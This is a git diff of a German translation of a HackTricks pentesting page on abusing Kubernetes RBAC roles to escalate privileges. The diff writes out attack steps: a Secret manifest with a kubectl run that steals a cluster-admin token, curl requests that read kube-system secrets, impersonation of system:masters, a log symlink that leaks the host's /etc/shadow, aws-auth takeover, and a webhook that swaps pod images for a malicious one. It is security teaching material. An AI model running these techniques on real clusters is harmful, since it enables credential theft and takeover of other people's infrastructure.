Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus

2025-12-29 06:03:26 -08:00 · 2025-01-22 12:07:43 +00:00
parent d2439222be
commit aa2b8b71d9
1 changed files with 104 additions and 41 deletions
--- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
+++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
@@ -1,4 +1,4 @@
-# Missbrauch von Rollen/ClusterRoles in Kubernetes
+# Abusing Roles/ClusterRoles in Kubernetes

 {{#include ../../../banners/hacktricks-training.md}}

@@ -10,14 +10,14 @@ Denken Sie daran, dass Sie alle unterstützten Ressourcen mit `kubectl api-resou
 Dies bezieht sich auf die Kunst, **Zugriff auf ein anderes Subjekt** innerhalb des Clusters **mit anderen Berechtigungen** (innerhalb des Kubernetes-Clusters oder zu externen Clouds) zu erhalten, als die, die Sie bereits haben. In Kubernetes gibt es im Wesentlichen **4 Haupttechniken zur Eskalation von Berechtigungen**:

 - In der Lage sein, **andere Benutzer/Gruppen/SAs zu impersonifizieren**, die bessere Berechtigungen innerhalb des Kubernetes-Clusters oder zu externen Clouds haben
- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, in denen Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können
+- In der Lage sein, **Pods zu erstellen/zu patchen/auszuführen**, wo Sie **SAs mit besseren Berechtigungen** innerhalb des Kubernetes-Clusters oder zu externen Clouds finden oder anhängen können
 - In der Lage sein, **Secrets zu lesen**, da die SAs-Token als Secrets gespeichert sind
 - In der Lage sein, **zum Knoten zu entkommen** von einem Container, wo Sie alle Secrets der auf dem Knoten laufenden Container, die Anmeldeinformationen des Knotens und die Berechtigungen des Knotens innerhalb der Cloud, in der er läuft (falls vorhanden), stehlen können
 - Eine fünfte Technik, die erwähnt werden sollte, ist die Fähigkeit, **Port-Forward** in einem Pod auszuführen, da Sie möglicherweise auf interessante Ressourcen innerhalb dieses Pods zugreifen können.

 ### Zugriff auf jede Ressource oder jedes Verb (Wildcard)

-Die **Wildcard (\*) gewährt Berechtigungen für jede Ressource mit jedem Verb**. Sie wird von Administratoren verwendet. Innerhalb einer ClusterRole bedeutet dies, dass ein Angreifer jede Namespace im Cluster missbrauchen könnte.
+Die **Wildcard (\*) gewährt Berechtigungen über jede Ressource mit jedem Verb**. Sie wird von Administratoren verwendet. Innerhalb einer ClusterRole bedeutet dies, dass ein Angreifer jede Namespace im Cluster missbrauchen könnte.
 ```yaml
 apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
@@ -33,7 +33,7 @@ verbs: ["*"]

 In RBAC stellen bestimmte Berechtigungen erhebliche Risiken dar:

-1. **`create`:** Gewährt die Möglichkeit, jede Cluster-Ressource zu erstellen, was ein Risiko für die Privilegieneskalation darstellt.
+1. **`create`:** Gewährt die Möglichkeit, jede Cluster-Ressource zu erstellen, was ein Risiko für die Eskalation von Berechtigungen darstellt.
 2. **`list`:** Ermöglicht das Auflisten aller Ressourcen, was potenziell sensible Daten leaken könnte.
 3. **`get`:** Erlaubt den Zugriff auf Geheimnisse von Dienstkonten, was eine Sicherheitsbedrohung darstellt.
 ```yaml
@@ -47,9 +47,9 @@ rules:
 resources: ["*"]
 verbs: ["create", "list", "get"]
 ```
-### Pod erstellen - Token stehlen
+### Pod Create - Steal Token

-Ein Angreifer mit den Berechtigungen zum Erstellen eines Pods könnte ein privilegiertes Service-Konto in den Pod anhängen und das Token stehlen, um das Service-Konto zu impersonifizieren. Dadurch werden die Berechtigungen effektiv erhöht.
+Ein Angreifer mit den Berechtigungen zum Erstellen eines Pods könnte ein privilegiertes Service-Konto in den Pod anhängen und das Token stehlen, um das Service-Konto zu impersonieren. Dadurch werden die Berechtigungen effektiv erhöht.

 Beispiel eines Pods, der das Token des `bootstrap-signer` Service-Kontos stehlen und es an den Angreifer senden wird:
 ```yaml
@@ -76,9 +76,9 @@ hostNetwork: true

 Die folgenden Punkte zeigen alle Berechtigungen, die ein Container haben kann:

- **Privilegierter Zugriff** (Deaktivierung von Schutzmaßnahmen und Festlegung von Berechtigungen)
- **Deaktivierung der Namespaces hostIPC und hostPid**, die helfen können, Berechtigungen zu eskalieren
- **Deaktivierung des hostNetwork**-Namespaces, der Zugriff ermöglicht, um die Cloud-Berechtigungen der Knoten zu stehlen und besseren Zugang zu Netzwerken zu erhalten
+- **Privilegierter Zugriff** (Schutzmaßnahmen deaktivieren und Berechtigungen festlegen)
+- **Deaktivieren von Namespaces hostIPC und hostPid**, die helfen können, Berechtigungen zu eskalieren
+- **Deaktivieren des hostNetwork**-Namespaces, der Zugriff ermöglicht, um die Cloud-Berechtigungen der Knoten zu stehlen und besseren Zugang zu Netzwerken zu erhalten
 - **Mounten von Hosts / innerhalb des Containers**
 ```yaml:super_privs.yaml
 apiVersion: v1
@@ -127,7 +127,7 @@ Jetzt, da Sie zum Knoten entkommen können, überprüfen Sie die Post-Exploitati

 #### Stealth

-Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, der nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:
+Sie möchten wahrscheinlich **stealthier** sein. Auf den folgenden Seiten können Sie sehen, auf was Sie zugreifen könnten, wenn Sie ein Pod erstellen, das nur einige der in der vorherigen Vorlage genannten Berechtigungen aktiviert:

 - **Privileged + hostPID**
 - **Privileged only**
@@ -151,7 +151,7 @@ pod-escape-privileges.md

 ### **Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs und Cronjobs erstellen/patchen**

-Es ist möglich, diese Berechtigungen auszunutzen, um **einen neuen Pod zu erstellen** und Berechtigungen wie im vorherigen Beispiel zu erlangen.
+Es ist möglich, diese Berechtigungen auszunutzen, um einen **neuen Pod** zu **erstellen** und Berechtigungen wie im vorherigen Beispiel zu erlangen.

 Die folgende YAML **erstellt ein Daemonset und exfiltriert das Token des SA** innerhalb des Pods:
 ```yaml
@@ -206,12 +206,12 @@ kubectl port-forward pod/mypod 5000:5000
 ### Hosts Writable /var/log/ Escape

 Wie [**in dieser Forschung angegeben**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), wenn Sie auf ein Pod zugreifen oder ein Pod mit dem **hosts `/var/log/` Verzeichnis montiert** darauf erstellen können, können Sie **aus dem Container entkommen**.\
-Das liegt im Wesentlichen daran, dass, wenn die **Kube-API versucht, die Logs** eines Containers abzurufen (mit `kubectl logs <pod>`), sie die **`0.log`** Datei des Pods über den `/logs/` Endpunkt des **Kubelet** Dienstes anfordert.\
+Das liegt im Wesentlichen daran, dass, wenn die **Kube-API versucht, die Protokolle** eines Containers abzurufen (unter Verwendung von `kubectl logs <pod>`), sie die **`0.log`** Datei des Pods über den `/logs/` Endpunkt des **Kubelet** Dienstes anfordert.\
 Der Kubelet-Dienst exponiert den `/logs/` Endpunkt, der im Grunde genommen **das `/var/log` Dateisystem des Containers exponiert**.

 Daher könnte ein Angreifer mit **Zugriff auf das Schreiben im /var/log/ Ordner** des Containers dieses Verhalten auf 2 Arten ausnutzen:

- Modifizieren der `0.log` Datei seines Containers (normalerweise zu finden in `/var/logs/pods/namespace_pod_uid/container/0.log`), um ein **Symlink zu `/etc/shadow`** zu sein, zum Beispiel. Dann können Sie die Schatten-Datei der Hosts exfiltrieren, indem Sie:
+- Modifizieren der `0.log` Datei seines Containers (normalerweise zu finden in `/var/logs/pods/namespace_pod_uid/container/0.log`), um ein **Symlink zu `/etc/shadow`** zu sein, zum Beispiel. Dann können Sie die Schatten-Datei des Hosts exfiltrieren, indem Sie:
 ```bash
 kubectl logs escaper
 failed to get parse function: unsupported log format: "root::::::::\n"
@@ -235,11 +235,11 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://

 #### Umgehung des readOnly-Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

-Wenn Sie genug Glück haben und die hochprivilegierte Fähigkeit `CAP_SYS_ADMIN` verfügbar ist, können Sie den Ordner einfach als rw erneut einhängen:
+Wenn Sie das Glück haben und die hochprivilegierte Fähigkeit `CAP_SYS_ADMIN` verfügbar ist, können Sie den Ordner einfach als rw erneut einhängen:
 ```bash
 mount -o rw,remount /hostlogs/
 ```
-#### Umgehung des hostPath readOnly Schutzes <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
+#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

 Wie in [**dieser Forschung**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) angegeben, ist es möglich, den Schutz zu umgehen:
 ```yaml
@@ -247,7 +247,7 @@ allowedHostPaths:
 - pathPrefix: "/foo"
 readOnly: true
 ```
-Das sollte verhindern, dass Ausbrüche wie die vorherigen auftreten, indem anstelle einer hostPath-Mount ein PersistentVolume und ein PersistentVolumeClaim verwendet werden, um einen Ordner des Hosts im Container mit schreibbarem Zugriff zu mounten:
+Was dazu gedacht war, Ausbrüche wie die vorherigen zu verhindern, indem anstelle einer hostPath-Mount ein PersistentVolume und ein PersistentVolumeClaim verwendet werden, um einen Ordner des Hosts im Container mit schreibbarem Zugriff zu mounten:
 ```yaml
 apiVersion: v1
 kind: PersistentVolume
@@ -293,11 +293,11 @@ volumeMounts:
 - mountPath: "/hostlogs"
 name: task-pv-storage-vol
 ```
-### **Privilegierte Konten nachahmen**
+### **Impersonation von privilegierten Konten**

-Mit einem [**Benutzer-Nachahmungs**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privileg könnte ein Angreifer ein privilegiertes Konto nachahmen.
+Mit einem [**Benutzer-Impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) Privileg könnte ein Angreifer ein privilegiertes Konto impersonieren.

-Verwenden Sie einfach den Parameter `--as=<username>` im `kubectl`-Befehl, um einen Benutzer nachzuahmen, oder `--as-group=<group>`, um eine Gruppe nachzuahmen:
+Verwenden Sie einfach den Parameter `--as=<username>` im `kubectl` Befehl, um einen Benutzer zu impersonieren, oder `--as-group=<group>`, um eine Gruppe zu impersonieren:
 ```bash
 kubectl get pods --as=system:serviceaccount:kube-system:default
 kubectl get secrets --as=null --as-group=system:masters
@@ -312,21 +312,84 @@ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
 ### Auflisten von Geheimnissen

-Die Berechtigung, **Geheimnisse aufzulisten, könnte einem Angreifer tatsächlich erlauben, die Geheimnisse zu lesen**, indem er auf den REST-API-Endpunkt zugreift:
+Die Berechtigung, **Geheimnisse aufzulisten, könnte einem Angreifer tatsächlich ermöglichen, die Geheimnisse zu lesen**, indem er auf den REST-API-Endpunkt zugreift:
 ```bash
 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
-### Lesen eines Geheimnisses – Brute-Forcing von Token-IDs
+### Erstellen und Lesen von Secrets

-Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Geheimnisses benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Listing Secrets**_-Privileg dennoch Schwachstellen. Standarddienstkonten im System können aufgelistet werden, die jeweils mit einem Geheimnis verbunden sind. Diese Geheimnisse haben eine Namensstruktur: ein statisches Präfix gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
+Es gibt eine spezielle Art von Kubernetes-Secret vom Typ **kubernetes.io/service-account-token**, das Serviceaccount-Token speichert. Wenn Sie die Berechtigungen zum Erstellen und Lesen von Secrets haben und auch den Namen des Serviceaccounts kennen, können Sie ein Secret wie folgt erstellen und dann das Token des betroffenen Serviceaccounts daraus stehlen:
+```yaml
+apiVersion: v1
+kind: Secret
+metadata:
+name: stolen-admin-sa-token
+namespace: default
+annotations:
+kubernetes.io/service-account.name: cluster-admin-sa
+type: kubernetes.io/service-account-token
+```
+Beispielausnutzung:
+```bash
+$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

-Das Token wird aus einem begrenzten 27-Zeichen-Satz (`bcdfghjklmnpqrstvwxz2456789`) generiert, anstatt aus dem vollständigen alphanumerischen Bereich. Diese Einschränkung reduziert die insgesamt möglichen Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer theoretisch einen Brute-Force-Angriff durchführen, um das Token innerhalb weniger Stunden zu ermitteln, was möglicherweise zu einer Privilegieneskalation durch den Zugriff auf sensible Dienstkonten führen könnte.
+$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
+Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
+Resources                                       Non-Resource URLs                      Resource Names   Verbs
+selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
+selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
+selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
+secrets                                         []                                     []               [get create]
+[/.well-known/openid-configuration/]   []               [get]
+<SNIP>
+[/version]                             []               [get]

-### Zertifikatsantragsanfragen
+$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
+error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

-Wenn Sie die Verben **`create`** in der Ressource `certificatesigningrequests` (oder zumindest in `certificatesigningrequests/nodeClient`) haben. Sie können **ein neues CeSR eines** **neuen Knotens erstellen.**
+$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
+Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

-Laut der [Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), sodass Sie in diesem Fall **keine zusätzlichen Berechtigungen benötigen**. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was ein Update in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` bedeutet.
+$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
+secret/stolen-admin-sa-token created
+
+$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
+{
+"apiVersion": "v1",
+"data": {
+"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
+"namespace": "ZGVmYXVsdA==",
+"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
+},
+"kind": "Secret",
+"metadata": {
+"annotations": {
+"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
+"kubernetes.io/service-account.name": "cluster-admin-sa",
+"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
+},
+"creationTimestamp": "2025-01-11T13:02:27Z",
+"name": "stolen-admin-sa-token",
+"namespace": "default",
+"resourceVersion": "1019116",
+"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
+},
+"type": "kubernetes.io/service-account-token"
+}
+```
+Beachten Sie, dass, wenn Sie in einem bestimmten Namespace Secrets erstellen und lesen dürfen, das Opfer-Servicekonto ebenfalls in diesem Namespace sein muss.
+
+### Lesen eines Secrets – Brute-Force von Token-IDs
+
+Während ein Angreifer im Besitz eines Tokens mit Leseberechtigungen den genauen Namen des Secrets benötigt, um es zu verwenden, gibt es im Gegensatz zu dem breiteren _**Listing Secrets**_-Privileg dennoch Schwachstellen. Standard-Servicekonten im System können aufgelistet werden, wobei jedes mit einem Secret verknüpft ist. Diese Secrets haben eine Namensstruktur: ein statisches Präfix, gefolgt von einem zufälligen fünfstelligen alphanumerischen Token (mit Ausnahme bestimmter Zeichen) gemäß dem [Quellcode](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
+
+Das Token wird aus einem begrenzten 27-Zeichen-Satz (`bcdfghjklmnpqrstvwxz2456789`) generiert, anstatt aus dem vollständigen alphanumerischen Bereich. Diese Einschränkung reduziert die insgesamt möglichen Kombinationen auf 14.348.907 (27^5). Folglich könnte ein Angreifer theoretisch einen Brute-Force-Angriff durchführen, um das Token innerhalb weniger Stunden zu ermitteln, was möglicherweise zu einer Privilegieneskalation durch den Zugriff auf sensible Servicekonten führen könnte.
+
+### Zertifikat-Signierungsanfragen
+
+Wenn Sie die Verben **`create`** in der Ressource `certificatesigningrequests` (oder zumindest in `certificatesigningrequests/nodeClient`) haben, können Sie **ein neues CeSR eines neuen Knotens erstellen.**
+
+Laut der [Dokumentation ist es möglich, diese Anfragen automatisch zu genehmigen](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), sodass Sie in diesem Fall **keine zusätzlichen Berechtigungen benötigen**. Andernfalls müssten Sie in der Lage sein, die Anfrage zu genehmigen, was bedeutet, dass Sie ein Update in `certificatesigningrequests/approval` und `approve` in `signers` mit resourceName `<signerNameDomain>/<signerNamePath>` oder `<signerNameDomain>/*` benötigen.

 Ein **Beispiel für eine Rolle** mit allen erforderlichen Berechtigungen ist:
 ```yaml
@@ -359,18 +422,18 @@ resourceNames:
 verbs:
 - approve
 ```
-Also, mit dem genehmigten neuen Node CSR kannst du die **besonderen Berechtigungen** von Knoten **ausnutzen**, um **Geheimnisse zu stehlen** und **Berechtigungen zu eskalieren**.
+Also, mit dem genehmigten neuen Node CSR kannst du die speziellen Berechtigungen von Nodes **ausnutzen**, um **Geheimnisse zu stehlen** und **Berechtigungen zu eskalieren**.

-In [**diesem Beitrag**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) und [**diesem hier**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap-Konfiguration mit **automatischer Signierung** konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s-Knotens zu generieren und diese dann zu missbrauchen, um Berechtigungen zu eskalieren, indem Geheimnisse gestohlen werden.\
-Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der einen neuen Knoten daran hindert, auf Geheimnisse innerhalb von Containern zuzugreifen, da ein **Knoten nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm montiert sind.**
+In [**diesem Beitrag**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) und [**diesem hier**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) ist die GKE K8s TLS Bootstrap-Konfiguration mit **automatischer Signierung** konfiguriert, und sie wird ausgenutzt, um Anmeldeinformationen eines neuen K8s Nodes zu generieren und diese dann zu missbrauchen, um Berechtigungen zu eskalieren, indem Geheimnisse gestohlen werden.\
+Wenn du **die genannten Berechtigungen hast, könntest du dasselbe tun**. Beachte, dass das erste Beispiel den Fehler umgeht, der es einem neuen Node verweigert, auf Geheimnisse innerhalb von Containern zuzugreifen, da ein **Node nur auf die Geheimnisse von Containern zugreifen kann, die auf ihm gemountet sind.**

-Der Weg, dies zu umgehen, besteht einfach darin, **Anmeldeinformationen für den Knotennamen zu erstellen, unter dem der Container mit den interessanten Geheimnissen montiert ist** (aber schau dir einfach an, wie man es im ersten Beitrag macht):
+Der Weg, dies zu umgehen, besteht einfach darin, **Anmeldeinformationen für den Node-Namen zu erstellen, unter dem der Container mit den interessanten Geheimnissen gemountet ist** (aber schau dir einfach an, wie man es im ersten Beitrag macht):
 ```bash
 "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
 ```
 ### AWS EKS aws-auth configmaps

-Prinzipien, die **`configmaps`** im kube-system Namespace auf EKS (müssen in AWS sein) Clustern ändern können, können Cluster-Admin-Rechte erlangen, indem sie die **aws-auth** configmap überschreiben.\
+Prinzipien, die **`configmaps`** im kube-system-Namespace auf EKS (müssen in AWS sein) Clustern ändern können, können Cluster-Admin-Rechte erlangen, indem sie die **aws-auth** configmap überschreiben.\
 Die benötigten Verben sind **`update`** und **`patch`**, oder **`create`**, wenn die configmap nicht erstellt wurde:
 ```bash
 # Check if config map exists
@@ -413,7 +476,7 @@ groups:
 > [!WARNING]
 > Sie können **`aws-auth`** für **Persistenz** verwenden, um Benutzern aus **anderen Konten** Zugriff zu gewähren.
 >
-> Allerdings funktioniert `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nicht von einem anderen Konto**. Aber tatsächlich funktioniert `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`, wenn Sie die ARN des Clusters anstelle nur des Namens eingeben.\
+> Allerdings funktioniert `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **nicht von einem anderen Konto**. Aber tatsächlich funktioniert `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`, wenn Sie die ARN des Clusters anstelle nur des Namens angeben.\
 > Um `kubectl` zum Laufen zu bringen, stellen Sie einfach sicher, dass Sie die **kubeconfig des Opfers** **konfigurieren** und in den aws exec-Argumenten `--profile other_account_role` hinzufügen, damit kubectl das Profil des anderen Kontos verwendet, um das Token zu erhalten und AWS zu kontaktieren.

 ### Eskalation in GKE
@@ -444,11 +507,11 @@ Prinzipien, die **`update`** oder **`patch`** **`pods/ephemeralcontainers`** kö

 Prinzipien mit einem der Verben `create`, `update` oder `patch` über `validatingwebhookconfigurations` oder `mutatingwebhookconfigurations` könnten in der Lage sein, **eine solche webhookconfiguration zu erstellen**, um **Berechtigungen zu eskalieren**.

-Für ein [`mutatingwebhookconfigurations` Beispiel überprüfen Sie diesen Abschnitt dieses Beitrags](./#malicious-admission-controller).
+Für ein [`mutatingwebhookconfigurations` Beispiel überprüfen Sie diesen Abschnitt dieses Beitrags](#malicious-admission-controller).

 ### Eskalieren

-Wie Sie im nächsten Abschnitt lesen können: [**Integrierte Prävention der privilegierten Eskalation**](./#built-in-privileged-escalation-prevention), kann ein Prinzip weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, es hat das **Verb `escalate`** über **`roles`** oder **`clusterroles`**.\
+Wie Sie im nächsten Abschnitt lesen können: [**Integrierte Prävention von privilegierter Eskalation**](#built-in-privileged-escalation-prevention), kann ein Prinzip weder Rollen noch Clusterrollen aktualisieren oder erstellen, ohne selbst diese neuen Berechtigungen zu haben. Es sei denn, es hat das **Verb `escalate`** über **`roles`** oder **`clusterroles`**.\
 Dann kann er neue Rollen, Clusterrollen mit besseren Berechtigungen als die, die er hat, aktualisieren/erstellen.

 ### Nodes-Proxy
@@ -459,11 +522,11 @@ Prinzipien mit Zugriff auf die **`nodes/proxy`** Unterressource können **Code a
 ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
 {{#endref}}

-Sie haben ein Beispiel, wie Sie [**RCE erhalten, indem Sie autorisiert mit einer Kubelet-API sprechen**](../pentesting-kubernetes-services/#kubelet-rce).
+Sie haben ein Beispiel, wie Sie [**RCE erhalten, indem Sie autorisiert mit einer Kubelet-API sprechen**](../pentesting-kubernetes-services/index.html#kubelet-rce).

 ### Pods löschen + nicht planbare Knoten

-Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und andere Knoten **nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
+Prinzipien, die **Pods löschen** können (`delete` Verb über `pods` Ressource), oder **Pods evakuieren** (`create` Verb über `pods/eviction` Ressource), oder **Pod-Status ändern** (Zugriff auf `pods/status`) und **andere Knoten nicht planbar machen** (Zugriff auf `nodes/status`) oder **Knoten löschen** (`delete` Verb über `nodes` Ressource) und Kontrolle über einen Pod haben, könnten **Pods von anderen Knoten stehlen**, sodass sie in dem **kompromittierten** **Knoten** **ausgeführt** werden und der Angreifer die **Tokens** von diesen Pods **stehlen** kann.
 ```bash
 patch_node_capacity(){
 curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -491,7 +554,7 @@ Dieses System stellt sicher, dass **Benutzer ihre Berechtigungen nicht erhöhen
 Die Regel besagt, dass ein **Benutzer nur eine Rolle erstellen oder aktualisieren kann, wenn er alle Berechtigungen besitzt, die die Rolle umfasst**. Darüber hinaus muss der Umfang der bestehenden Berechtigungen des Benutzers mit dem der Rolle übereinstimmen, die er zu erstellen oder zu modifizieren versucht: entweder clusterweit für ClusterRoles oder auf denselben Namespace (oder clusterweit) für Roles.

 > [!WARNING]
-> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und Clusterrollen erhöhen, auch ohne die Berechtigungen selbst zu besitzen.
+> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch ohne die Berechtigungen selbst zu besitzen.

 ### **Get & Patch RoleBindings/ClusterRoleBindings**

@@ -552,7 +615,7 @@ Mehr Informationen unter: [https://kubernetes.io/docs/tasks/configure-pod-contai

 ### Bösartiger Admission Controller

-Ein Admission Controller **fängt Anfragen an den Kubernetes API-Server ab**, bevor das Objekt persistiert wird, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
+Ein Admission Controller **unterbricht Anfragen an den Kubernetes API-Server** vor der Persistenz des Objekts, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.

 Wenn es einem Angreifer gelingt, einen **Mutationg Admission Controller** zu **injizieren**, kann er **bereits authentifizierte Anfragen modifizieren**. Dies ermöglicht potenziell Privilegieneskalation und in der Regel auch Persistenz im Cluster.

@@ -586,7 +649,7 @@ Wie Sie im obigen Bild sehen können, haben wir versucht, das Image `nginx` ausz

 #### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>

-Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zugangscontroller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen angegebenen Vorgaben ändert und die beobachteten Ergebnisse beeinflusst:
+Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zugangscontroller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen angegebenen Vorgaben modifiziert und die beobachteten Ergebnisse beeinflusst:
 ```
 patches = append(patches, patchOperation{
 Op:    "replace",
@@ -596,7 +659,7 @@ Value: "rewanthtammana/malicious-image",
 ```
 Der obige Snippet ersetzt das erste Container-Image in jedem Pod mit `rewanthtammana/malicious-image`.

-## OPA Gatekeeper Umgehung
+## OPA Gatekeeper Bypass

 {{#ref}}
 ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -604,7 +667,7 @@ Der obige Snippet ersetzt das erste Container-Image in jedem Pod mit `rewanthtam

 ## Best Practices

-### **Deaktivierung der Automount von Service Account Tokens**
+### **Deaktivierung der Automount-Funktion von Service Account Tokens**

 - **Pods und Service Accounts**: Standardmäßig montieren Pods ein Service Account Token. Um die Sicherheit zu erhöhen, erlaubt Kubernetes die Deaktivierung dieser Automount-Funktion.
 - **Anwendung**: Setzen Sie `automountServiceAccountToken: false` in der Konfiguration von Service Accounts oder Pods ab Kubernetes-Version 1.6.